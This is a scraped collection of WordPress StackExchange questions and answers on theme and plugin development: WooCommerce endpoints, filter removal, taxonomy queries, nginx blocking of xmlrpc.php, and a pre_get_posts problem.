It doesn't matter if the limit applies to all admins including me. | The most performant way to do this is probably by hooking into [`map_meta_cap`](https://developer.wordpress.org/reference/hooks/map_meta_cap/) to conditionally disallow the `install_plugins` capability. There are no database calls involved with that.
Here's an (untested) example:
```
add_filter( 'map_meta_cap', 'wpse291964_limit_plugins', 10, 2 );
function wpse291964_limit_plugins( $caps, $cap ) {
if ( 'install_plugins' === $cap ) {
$plugins = get_plugins();
// Only allow 10 plugins to be installed.
if ( count( $plugins ) > 10 ) {
$caps[] = 'do_not_allow';
}
}
return $caps;
}
```
I recommend you to [watch this video](https://wordpress.tv/2017/04/14/john-blackbourn-deep-dive-user-roles-capabilities-api/) by John Blackbourn to learn more about `map_meta_cap` and friends. |
291,970 | <p>I read near the end of <a href="https://www.ctrl.blog/entry/how-to-wordpress-sshguard" rel="nofollow noreferrer">this guide</a> regarding utilizing <a href="https://www.sshguard.net/" rel="nofollow noreferrer">SSHguard</a> to protect WordPress from Brute force attacks that after configuring SSHguard the relevant way, one must:</p>
<blockquote>
<p>disable XML-RPC by blocking all remote access to /xmlrpc.php in your
web server configuration.</p>
</blockquote>
<ul>
<li><p>I don't use XML-RPC in any of my websites.</p></li>
<li><p>I use Nginx as my web server.</p></li>
</ul>
<p>I'm not sure what is the best way to totally block XML-RPC. Nginx conf for each site? WP-CLI operation per site? </p>
<p>What is the common way to do so?</p>
| [
{
"answer_id": 291978,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 3,
"selected": true,
"text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291970",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/131001/"
] | I read near the end of [this guide](https://www.ctrl.blog/entry/how-to-wordpress-sshguard) regarding utilizing [SSHguard](https://www.sshguard.net/) to protect WordPress from Brute force attacks that after configuring SSHguard the relevant way, one must:
>
> disable XML-RPC by blocking all remote access to /xmlrpc.php in your
> web server configuration.
>
>
>
* I don't use XML-RPC in any of my websites.
* I use Nginx as my web server.
I'm not sure what is the best way to totally block XML-RPC. Nginx conf for each site? WP-CLI operation per site?
What is the common way to do so? | On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:
```
location ~ ^/(xmlrpc\.php) {
deny all;
}
``` |
291,976 | <p>I have a CPT <code>locations</code> with a custom taxonomy <code>regions</code> using hierarchical terms (State is the parent term, City is the child term.</p>
<p><strong>Regions Custom Taxonomy</strong></p>
<ul>
<li>North Carolina (parent)
<ul>
<li>Charlotte (child)</li>
<li>Raleigh (child)</li>
</ul></li>
<li>Georgia (parent)
<ul>
<li>Atlanta (child)</li>
</ul></li>
</ul>
<p>Using an ACF Relationship field, I'm trying to build a flexible content panel that allows users to select locations and have them displayed grouped via the parent term, and then the child term like such:</p>
<p><strong>Display/Result</strong></p>
<ul>
<li>North Carolina
<ul>
<li>Charlotte
<ul>
<li>Wynnchester Road Location (post)</li>
<li>Tryon Road Location (post)</li>
</ul></li>
<li>Raleigh
<ul>
<li>Boylan Street Location (post)</li>
</ul></li>
</ul></li>
<li>Georgia
<ul>
<li>Atlanta
<ul>
<li>Wynnchester Road Location (post)</li>
</ul></li>
</ul></li>
</ul>
<p>Anyone ever attempted something like this? I'm having a heck of a time and could use some help.</p>
| [
{
"answer_id": 291978,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 3,
"selected": true,
"text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291976",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/119547/"
] | I have a CPT `locations` with a custom taxonomy `regions` using hierarchical terms (State is the parent term, City is the child term.
**Regions Custom Taxonomy**
* North Carolina (parent)
+ Charlotte (child)
+ Raleigh (child)
* Georgia (parent)
+ Atlanta (child)
Using an ACF Relationship field, I'm trying to build a flexible content panel that allows users to select locations and have them displayed grouped via the parent term, and then the child term like such:
**Display/Result**
* North Carolina
+ Charlotte
- Wynnchester Road Location (post)
- Tryon Road Location (post)
+ Raleigh
- Boylan Street Location (post)
* Georgia
+ Atlanta
- Wynnchester Road Location (post)
Anyone ever attempted something like this? I'm having a heck of a time and could use some help. | On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:
```
location ~ ^/(xmlrpc\.php) {
deny all;
}
``` |
291,979 | <p>I am creating a website. I need to hide the avatar and the name of the user who is currently editing, and replace the name with the role. Is that possible?</p>
<p>Thank you for your help</p>
<p><a href="https://i.stack.imgur.com/pj2n1.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pj2n1.jpg" alt="enter image description here"></a></p>
| [
{
"answer_id": 291978,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 3,
"selected": true,
"text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291979",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135417/"
] | I am creating a website. I need to hide the avatar and the name of the user who is currently editing, and replace the name with the role. Is that possible?
Thank you for your help
[](https://i.stack.imgur.com/pj2n1.jpg) | On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:
```
location ~ ^/(xmlrpc\.php) {
deny all;
}
``` |
291,982 | <p>When customers fill out the contact form on our site, the form goes straight into the spam folder in our gmail account. It never used to do this. Is this a Wordpress setting or a gmail setting that needs to be changes so that it sends to the inbox rather than the spam folder?</p>
<p>Thanks</p>
| [
{
"answer_id": 291978,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 3,
"selected": true,
"text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291982",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135421/"
] | When customers fill out the contact form on our site, the form goes straight into the spam folder in our gmail account. It never used to do this. Is this a Wordpress setting or a gmail setting that needs to be changes so that it sends to the inbox rather than the spam folder?
Thanks | On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:
```
location ~ ^/(xmlrpc\.php) {
deny all;
}
``` |
292,007 | <p>I'm having trouble using <code>remove_filter</code> to override the read more links in my parent theme. </p>
<p>Here's the parent theme functions: </p>
<pre><code>/* Modify the '[...]' Read More Text */
add_filter( 'the_content_more_link', 'hoot_modify_read_more_link' );
if ( apply_filters( 'hoot_force_excerpt_readmore', true ) ) {
add_filter( 'excerpt_more', 'hoot_insert_excerpt_readmore_quicktag', 11 );
add_filter( 'wp_trim_excerpt', 'hoot_replace_excerpt_readmore_quicktag', 11, 2 );
} else {
add_filter( 'excerpt_more', 'hoot_modify_read_more_link' );
}
/**
* Modify the '[...]' Read More Text
*
* @since 1.0
* @access public
* @return string
*/
function hoot_modify_read_more_link( $more = '[&hellip;]' ) {
if ( is_admin() )
return $more;
$read_more = esc_html( hoot_get_mod('read_more') );
$read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '&rarr;' ) : $read_more;
global $post;
$read_more = '<a class="more-link" href="' . esc_url( get_permalink( $post->ID ) ) . '">' . $read_more . '</a>';
return apply_filters( 'hoot_readmore', $read_more ) ;
}
</code></pre>
<p>And here's my functions in my child theme's function.php:</p>
<pre><code>function dw_remove_parent_read_more() {
remove_filter('excerpt_more', 'hoot_modify_read_more_link');
}
add_action('after_setup_theme', 'dw_remove_parent_read_more',999);
function dw_modify_read_more_link($more = '[&hellip;]') {
if ( is_admin() )
return $more;
$read_more = esc_html( hoot_get_mod('read_more') );
$read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '' ) : $read_more;
global $post;
$read_more = '<div><a class="more-link" href="' . esc_url( get_permalink( $post->ID ) ) . '">' . $read_more . '</a></div>';
return apply_filters( 'hoot_readmore', $read_more ) ;
}
add_filter('excerpt_more', 'dw_modify_read_more_link', 999);
</code></pre>
<p>The current result is that two read more links are now showing, both the parent theme's and my child theme's. What am I doing wrong :) ? </p>
| [
{
"answer_id": 292013,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 2,
"selected": false,
"text": "<p><strong>A Note on Priorities</strong></p>\n\n<p>Note that if you're trying to remove a function u... | 2018/01/24 | [
"https://wordpress.stackexchange.com/questions/292007",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/51985/"
] | I'm having trouble using `remove_filter` to override the read more links in my parent theme.
Here's the parent theme functions:
```
/* Modify the '[...]' Read More Text */
add_filter( 'the_content_more_link', 'hoot_modify_read_more_link' );
if ( apply_filters( 'hoot_force_excerpt_readmore', true ) ) {
add_filter( 'excerpt_more', 'hoot_insert_excerpt_readmore_quicktag', 11 );
add_filter( 'wp_trim_excerpt', 'hoot_replace_excerpt_readmore_quicktag', 11, 2 );
} else {
add_filter( 'excerpt_more', 'hoot_modify_read_more_link' );
}
/**
* Modify the '[...]' Read More Text
*
* @since 1.0
* @access public
* @return string
*/
function hoot_modify_read_more_link( $more = '[…]' ) {
if ( is_admin() )
return $more;
$read_more = esc_html( hoot_get_mod('read_more') );
$read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '→' ) : $read_more;
global $post;
$read_more = '<a class="more-link" href="' . esc_url( get_permalink( $post->ID ) ) . '">' . $read_more . '</a>';
return apply_filters( 'hoot_readmore', $read_more ) ;
}
```
And here's my functions in my child theme's function.php:
```
function dw_remove_parent_read_more() {
remove_filter('excerpt_more', 'hoot_modify_read_more_link');
}
add_action('after_setup_theme', 'dw_remove_parent_read_more',999);
function dw_modify_read_more_link($more = '[…]') {
if ( is_admin() )
return $more;
$read_more = esc_html( hoot_get_mod('read_more') );
$read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '' ) : $read_more;
global $post;
$read_more = '<div><a class="more-link" href="' . esc_url( get_permalink( $post->ID ) ) . '">' . $read_more . '</a></div>';
return apply_filters( 'hoot_readmore', $read_more ) ;
}
add_filter('excerpt_more', 'dw_modify_read_more_link', 999);
```
The current result is that two read more links are now showing, both the parent theme's and my child theme's. What am I doing wrong :) ? | **A Note on Priorities**
Note that if you're trying to remove a function using `remove_action()` or `remove_filter()` and the function has had a priority assigned to it, you must include the priority when removing it, or it won't work.
**So if the function in the parent theme looks like this:**
```
<?php
function parent_function() {
// Contents for your function here.
}
add_action( 'init', 'parent_function', 15 );
?>
<?php
function child_remove_parent_function() {
remove_action( 'widgets_init', 'parent_function', 15 );
}
add_action( 'wp_loaded', 'child_remove_parent_function' );
?>
.
```
you'll need to include the same priority value when removing it: |
292,054 | <p>I created an array with this expressions:</p>
<pre><code> $taxonomies = get_terms(array(
'taxonomy' => 'product_cat',
'hide_empty' => false,
));
</code></pre>
<p>And I got this as return:</p>
<pre><code>Array (
[0] => WP_Term Object ( [term_id] => 79 [name] => Édességek [slug] => edessegek [term_group] => 0 [term_taxonomy_id] => 79 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[1] => WP_Term Object ( [term_id] => 55 [name] => Ételek [slug] => etelek [term_group] => 0 [term_taxonomy_id] => 55 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 0 [filter] => raw [meta_value] => 0 )
[2] => WP_Term Object ( [term_id] => 76 [name] => Glutén mentes ételek [slug] => gluten-mentes-etelek [term_group] => 0 [term_taxonomy_id] => 76 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[3] => WP_Term Object ( [term_id] => 81 [name] => Heti ajánlat [slug] => heti-ajanlat [term_group] => 0 [term_taxonomy_id] => 81 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 0 [filter] => raw [meta_value] => 0 )
[4] => WP_Term Object ( [term_id] => 49 [name] => Indiai ételek [slug] => indiai-etelek [term_group] => 0 [term_taxonomy_id] => 49 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 0 [filter] => raw [meta_value] => 0 )
[5] => WP_Term Object ( [term_id] => 73 [name] => Kedvenc ételek [slug] => kedvenc-etelek [term_group] => 0 [term_taxonomy_id] => 73 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[6] => WP_Term Object ( [term_id] => 48 [name] => Krémlevesek [slug] => kremlevesek [term_group] => 0 [term_taxonomy_id] => 48 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 1 [filter] => raw [meta_value] => 0 )
[7] => WP_Term Object ( [term_id] => 47 [name] => Levesek [slug] => levesek [term_group] => 0 [term_taxonomy_id] => 47 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 0 [filter] => raw [meta_value] => 0 )
[8] => WP_Term Object ( [term_id] => 61 [name] => ph levesek [slug] => ph-levesek [term_group] => 0 [term_taxonomy_id] => 61 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 )
[9] => WP_Term Object ( [term_id] => 78 [name] => Saláták [slug] => salatak [term_group] => 0 [term_taxonomy_id] => 78 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[10] => WP_Term Object ( [term_id] => 77 [name] => Szendvicsek [slug] => szendvicsek [term_group] => 0 [term_taxonomy_id] => 77 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[11] => WP_Term Object ( [term_id] => 75 [name] => Tejmentes ételek [slug] => tejmentes-etelek [term_group] => 0 [term_taxonomy_id] => 75 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[12] => WP_Term Object ( [term_id] => 60 [name] => Új hűsítő levesek [slug] => uj-husito-levesek [term_group] => 0 [term_taxonomy_id] => 60 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 )
[13] => WP_Term Object ( [term_id] => 59 [name] => Új levesek [slug] => uj-levesek [term_group] => 0 [term_taxonomy_id] => 59 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 )
[14] => WP_Term Object ( [term_id] => 74 [name] => Vegaséf max ételek [slug] => vegasef-max-etelek [term_group] => 0 [term_taxonomy_id] => 74 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) )
</code></pre>
<p>I need to get only the <code>[name]</code> and the <code>[slug]</code> in 2 seperated array. How it is possible? I'm thinking about <code>array_column</code> and <code>array_push</code> options</p>
| [
{
"answer_id": 292063,
"author": "janh",
"author_id": 129206,
"author_profile": "https://wordpress.stackexchange.com/users/129206",
"pm_score": 1,
"selected": false,
"text": "<p>Sound like a strange thing to do, but I've seen stranger requirements, so I trust you have a good reason for t... | 2018/01/24 | [
"https://wordpress.stackexchange.com/questions/292054",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134715/"
] | I created an array with this expressions:
```
$taxonomies = get_terms(array(
'taxonomy' => 'product_cat',
'hide_empty' => false,
));
```
And I got this as return:
```
Array (
[0] => WP_Term Object ( [term_id] => 79 [name] => Édességek [slug] => edessegek [term_group] => 0 [term_taxonomy_id] => 79 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[1] => WP_Term Object ( [term_id] => 55 [name] => Ételek [slug] => etelek [term_group] => 0 [term_taxonomy_id] => 55 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 0 [filter] => raw [meta_value] => 0 )
[2] => WP_Term Object ( [term_id] => 76 [name] => Glutén mentes ételek [slug] => gluten-mentes-etelek [term_group] => 0 [term_taxonomy_id] => 76 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[3] => WP_Term Object ( [term_id] => 81 [name] => Heti ajánlat [slug] => heti-ajanlat [term_group] => 0 [term_taxonomy_id] => 81 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 0 [filter] => raw [meta_value] => 0 )
[4] => WP_Term Object ( [term_id] => 49 [name] => Indiai ételek [slug] => indiai-etelek [term_group] => 0 [term_taxonomy_id] => 49 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 0 [filter] => raw [meta_value] => 0 )
[5] => WP_Term Object ( [term_id] => 73 [name] => Kedvenc ételek [slug] => kedvenc-etelek [term_group] => 0 [term_taxonomy_id] => 73 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[6] => WP_Term Object ( [term_id] => 48 [name] => Krémlevesek [slug] => kremlevesek [term_group] => 0 [term_taxonomy_id] => 48 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 1 [filter] => raw [meta_value] => 0 )
[7] => WP_Term Object ( [term_id] => 47 [name] => Levesek [slug] => levesek [term_group] => 0 [term_taxonomy_id] => 47 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 0 [filter] => raw [meta_value] => 0 )
[8] => WP_Term Object ( [term_id] => 61 [name] => ph levesek [slug] => ph-levesek [term_group] => 0 [term_taxonomy_id] => 61 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 )
[9] => WP_Term Object ( [term_id] => 78 [name] => Saláták [slug] => salatak [term_group] => 0 [term_taxonomy_id] => 78 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[10] => WP_Term Object ( [term_id] => 77 [name] => Szendvicsek [slug] => szendvicsek [term_group] => 0 [term_taxonomy_id] => 77 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[11] => WP_Term Object ( [term_id] => 75 [name] => Tejmentes ételek [slug] => tejmentes-etelek [term_group] => 0 [term_taxonomy_id] => 75 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 )
[12] => WP_Term Object ( [term_id] => 60 [name] => Új hűsítő levesek [slug] => uj-husito-levesek [term_group] => 0 [term_taxonomy_id] => 60 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 )
[13] => WP_Term Object ( [term_id] => 59 [name] => Új levesek [slug] => uj-levesek [term_group] => 0 [term_taxonomy_id] => 59 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 )
[14] => WP_Term Object ( [term_id] => 74 [name] => Vegaséf max ételek [slug] => vegasef-max-etelek [term_group] => 0 [term_taxonomy_id] => 74 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) )
```
I need to get only the `[name]` and the `[slug]` in 2 seperated array. How it is possible? I'm thinking about `array_column` and `array_push` options | Here's an alternative using the handy [`wp_list_pluck()`](https://developer.wordpress.org/reference/functions/wp_list_pluck/):
```
$terms = get_terms(array(
'taxonomy' => 'category',
'hide_empty' => false,
));
$slugs = wp_list_pluck( $terms, 'slug' );
$names = wp_list_pluck( $terms, 'name' );
```
where we *pluck* out the wanted field into an array. |
292,066 | <p>I'm using WooCommerce v3.2.6 and WordPress 4.9.1.
I've added an endpoint to the WooCommerce myaccount area (<code>view-subscription</code>):</p>
<pre><code>function my_custom_endpoints() {
add_rewrite_endpoint( 'view-subscription', EP_ROOT | EP_PAGES );
}
add_action( 'init', 'my_custom_endpoints' );
function my_custom_query_vars( $vars ) {
$vars[] = 'view-subscription';
return $vars;
}
add_filter( 'query_vars', 'my_custom_query_vars', 0 );
function view_subscription_endpoint_content() {
include get_template_directory().'/woocommerce/myaccount/view-subscription.php';
}
add_action( 'woocommerce_account_view-subscription_endpoint', 'view_subscription_endpoint_content' );
</code></pre>
<p>The endpoint is working but I want to be able to pass the ID of a subscription (a post type) to the endpoint (similar to how view-order works). How can I do this?</p>
<p>eg.</p>
<pre><code>myaccount/view-order/21313 - Displays details of order #21313
myaccount/view-subscription/35464 - I want this to display the details of the subscription post #35464.
</code></pre>
<p>If I go to the above URL <code>myaccount/view-subscription/35464</code> , the view-subscription.php template is still loading, but what is the best way to access the ID, 35464, from the URL?</p>
| [
{
"answer_id": 306721,
"author": "Guhéry Rocourt",
"author_id": 145725,
"author_profile": "https://wordpress.stackexchange.com/users/145725",
"pm_score": 3,
"selected": true,
"text": "<p>I hope it's not too late, but anyway, I know it will help someone else.</p>\n\n<p><code>echo get_quer... | 2018/01/24 | [
"https://wordpress.stackexchange.com/questions/292066",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/39063/"
] | I'm using WooCommerce v3.2.6 and WordPress 4.9.1.
I've added an endpoint to the WooCommerce myaccount area (`view-subscription`):
```
function my_custom_endpoints() {
add_rewrite_endpoint( 'view-subscription', EP_ROOT | EP_PAGES );
}
add_action( 'init', 'my_custom_endpoints' );
function my_custom_query_vars( $vars ) {
$vars[] = 'view-subscription';
return $vars;
}
add_filter( 'query_vars', 'my_custom_query_vars', 0 );
function view_subscription_endpoint_content() {
include get_template_directory().'/woocommerce/myaccount/view-subscription.php';
}
add_action( 'woocommerce_account_view-subscription_endpoint', 'view_subscription_endpoint_content' );
```
The endpoint is working but I want to be able to pass the ID of a subscription (a post type) to the endpoint (similar to how view-order works). How can I do this?
eg.
```
myaccount/view-order/21313 - Displays details of order #21313
myaccount/view-subscription/35464 - I want this to display the details of the subscription post #35464.
```
If I go to the above URL `myaccount/view-subscription/35464` , the view-subscription.php template is still loading, but what is the best way to access the ID, 35464, from the URL? | I hope it's not too late, but anyway, I know it will help someone else.
`echo get_query_var('your-endpoint');`
So, for your code, it will be:
`echo get_query_var('view-subscription');` |
292,075 | <p>I'm trying to redirect customers, who are not logged in, when they push the "proceed to checkout button" on my cart page but nothing happens.</p>
<p>Here's my code:</p>
<pre><code>function custom_redirect_checkout(){
if ( !is_user_logged_in() ){
wp_redirect( 'https://www.domain.co/login/', 301 );
exit;
}
}
add_filter( 'woocommerce_proceed_to_checkout', 'custom_redirect_checkout' );
</code></pre>
| [
{
"answer_id": 306721,
"author": "Guhéry Rocourt",
"author_id": 145725,
"author_profile": "https://wordpress.stackexchange.com/users/145725",
"pm_score": 3,
"selected": true,
"text": "<p>I hope it's not too late, but anyway, I know it will help someone else.</p>\n\n<p><code>echo get_quer... | 2018/01/24 | [
"https://wordpress.stackexchange.com/questions/292075",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135481/"
] | I'm trying to redirect customers, who are not logged in, when they push the "proceed to checkout button" on my cart page but nothing happens.
Here's my code:
```
function custom_redirect_checkout(){
if ( !is_user_logged_in() ){
wp_redirect( 'https://www.domain.co/login/', 301 );
exit;
}
}
add_filter( 'woocommerce_proceed_to_checkout', 'custom_redirect_checkout' );
``` | I hope it's not too late, but anyway, I know it will help someone else.
`echo get_query_var('your-endpoint');`
So, for your code, it will be:
`echo get_query_var('view-subscription');` |
292,090 | <p>I'm attempting to design a theme for which all posts are always visible in a grid layout, using <code>index.php</code> as my single template. Even accessing a URL matching a single post would display all posts, only with the one matching the URL being highlighted in some way.</p>
<p>This works like a charm on the homepage (<code>http://example.com/</code>), but if I try to access a post (<code>http://example.com/mycategory/mypostname</code>) it shows nothing.</p>
<p>I've tried setting up a pre_get_posts hook like so:</p>
<pre><code>function preGetPosts( $query ) {
if ( is_admin() || ! $query->is_main_query() )
return;
$query->set( 'posts_per_page', -1 );
$query->set( 'name', "" );
$query->set( 'category_name', "" );
return;
}
add_action( 'pre_get_posts', 'preGetPosts' );
</code></pre>
<p>But then my page displays no post at all. I've tried figuring it out by showing the SQL request in my template:</p>
<pre><code><?php echo $GLOBALS['wp_query']->request; ?>
</code></pre>
<p>...and the resulting SQL request is fine:</p>
<pre><code>SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC
</code></pre>
<p>Even trying out the request in phpMyAdmin yields the correct list of all posts. I'm at a loss trying to understand what's preventing the loop from displaying these results.</p>
<p>Even the code that's hooked up to the <code>loop_start</code> action seems to be skipped entirely. Any ideas?</p>
<p>Thanks!</p>
<p><strong>EDIT:</strong> if I dump <code>$GLOBALS['wp_query']</code> in my template just before the loop, I see:</p>
<pre><code>["post_count"] => int(0)
["found_posts"] => int(23)
</code></pre>
<p>There are indeed 23 posts that should be displayed... what's the difference between found posts and the post count?</p>
<p><strong>EDIT:</strong> The full query dump:</p>
<pre><code>object(WP_Query)#390 (48) {
["query"]=>
array(3) {
["page"]=>
string(0) ""
["name"]=>
string(4) "sos3"
["category_name"]=>
string(8) "mixtapes"
}
["query_vars"]=>
array(65) {
["page"]=>
int(0)
["name"]=>
string(0) ""
["category_name"]=>
string(0) ""
["error"]=>
string(0) ""
["m"]=>
string(0) ""
["p"]=>
int(0)
["post_parent"]=>
string(0) ""
["subpost"]=>
string(0) ""
["subpost_id"]=>
string(0) ""
["attachment"]=>
string(0) ""
["attachment_id"]=>
int(0)
["static"]=>
string(0) ""
["pagename"]=>
string(0) ""
["page_id"]=>
int(0)
["second"]=>
string(0) ""
["minute"]=>
string(0) ""
["hour"]=>
string(0) ""
["day"]=>
int(0)
["monthnum"]=>
int(0)
["year"]=>
int(0)
["w"]=>
int(0)
["tag"]=>
string(0) ""
["cat"]=>
string(0) ""
["tag_id"]=>
string(0) ""
["author"]=>
string(0) ""
["author_name"]=>
string(0) ""
["feed"]=>
string(0) ""
["tb"]=>
string(0) ""
["paged"]=>
int(0)
["meta_key"]=>
string(0) ""
["meta_value"]=>
string(0) ""
["preview"]=>
string(0) ""
["s"]=>
string(0) ""
["sentence"]=>
string(0) ""
["title"]=>
string(0) ""
["fields"]=>
string(0) ""
["menu_order"]=>
string(0) ""
["embed"]=>
string(0) ""
["category__in"]=>
array(0) {
}
["category__not_in"]=>
array(0) {
}
["category__and"]=>
array(0) {
}
["post__in"]=>
array(0) {
}
["post__not_in"]=>
array(0) {
}
["post_name__in"]=>
array(0) {
}
["tag__in"]=>
array(0) {
}
["tag__not_in"]=>
array(0) {
}
["tag__and"]=>
array(0) {
}
["tag_slug__in"]=>
array(0) {
}
["tag_slug__and"]=>
array(0) {
}
["post_parent__in"]=>
array(0) {
}
["post_parent__not_in"]=>
array(0) {
}
["author__in"]=>
array(0) {
}
["author__not_in"]=>
array(0) {
}
["posts_per_page"]=>
int(-1)
["ignore_sticky_posts"]=>
bool(false)
["suppress_filters"]=>
bool(false)
["cache_results"]=>
bool(true)
["update_post_term_cache"]=>
bool(true)
["lazy_load_term_meta"]=>
bool(true)
["update_post_meta_cache"]=>
bool(true)
["post_type"]=>
string(0) ""
["nopaging"]=>
bool(true)
["comments_per_page"]=>
string(2) "50"
["no_found_rows"]=>
bool(false)
["order"]=>
string(4) "DESC"
}
["tax_query"]=>
NULL
["meta_query"]=>
object(WP_Meta_Query)#629 (9) {
["queries"]=>
array(0) {
}
["relation"]=>
NULL
["meta_table"]=>
NULL
["meta_id_column"]=>
NULL
["primary_table"]=>
NULL
["primary_id_column"]=>
NULL
["table_aliases":protected]=>
array(0) {
}
["clauses":protected]=>
array(0) {
}
["has_or_relation":protected]=>
bool(false)
}
["date_query"]=>
bool(false)
["request"]=>
string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC "
["posts"]=>
&array(0) {
}
["post_count"]=>
int(0)
["current_post"]=>
int(-1)
["in_the_loop"]=>
bool(false)
["comment_count"]=>
int(0)
["current_comment"]=>
int(-1)
["found_posts"]=>
int(23)
["max_num_pages"]=>
int(0)
["max_num_comment_pages"]=>
int(0)
["is_single"]=>
bool(false)
["is_preview"]=>
bool(false)
["is_page"]=>
bool(false)
["is_archive"]=>
bool(false)
["is_date"]=>
bool(false)
["is_year"]=>
bool(false)
["is_month"]=>
bool(false)
["is_day"]=>
bool(false)
["is_time"]=>
bool(false)
["is_author"]=>
bool(false)
["is_category"]=>
bool(false)
["is_tag"]=>
bool(false)
["is_tax"]=>
bool(false)
["is_search"]=>
bool(false)
["is_feed"]=>
bool(false)
["is_comment_feed"]=>
bool(false)
["is_trackback"]=>
bool(false)
["is_home"]=>
bool(false)
["is_404"]=>
bool(true)
["is_embed"]=>
bool(false)
["is_paged"]=>
bool(false)
["is_admin"]=>
bool(false)
["is_attachment"]=>
bool(false)
["is_singular"]=>
bool(false)
["is_robots"]=>
bool(false)
["is_posts_page"]=>
bool(false)
["is_post_type_archive"]=>
bool(false)
["query_vars_hash":"WP_Query":private]=>
string(32) "8932b0e7ba16b7a363737e0bb1065296"
["query_vars_changed":"WP_Query":private]=>
bool(true)
["thumbnails_cached"]=>
bool(false)
["stopwords":"WP_Query":private]=>
NULL
["compat_fields":"WP_Query":private]=>
array(2) {
[0]=>
string(15) "query_vars_hash"
[1]=>
string(18) "query_vars_changed"
}
["compat_methods":"WP_Query":private]=>
array(2) {
[0]=>
string(16) "init_query_flags"
[1]=>
string(15) "parse_tax_query"
}
}
</code></pre>
| [
{
"answer_id": 292120,
"author": "janh",
"author_id": 129206,
"author_profile": "https://wordpress.stackexchange.com/users/129206",
"pm_score": 0,
"selected": false,
"text": "<p>Testing with a standard install and twentysixteen, the problem lies within WP::parse_request. With your <code>... | 2018/01/24 | [
"https://wordpress.stackexchange.com/questions/292090",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135491/"
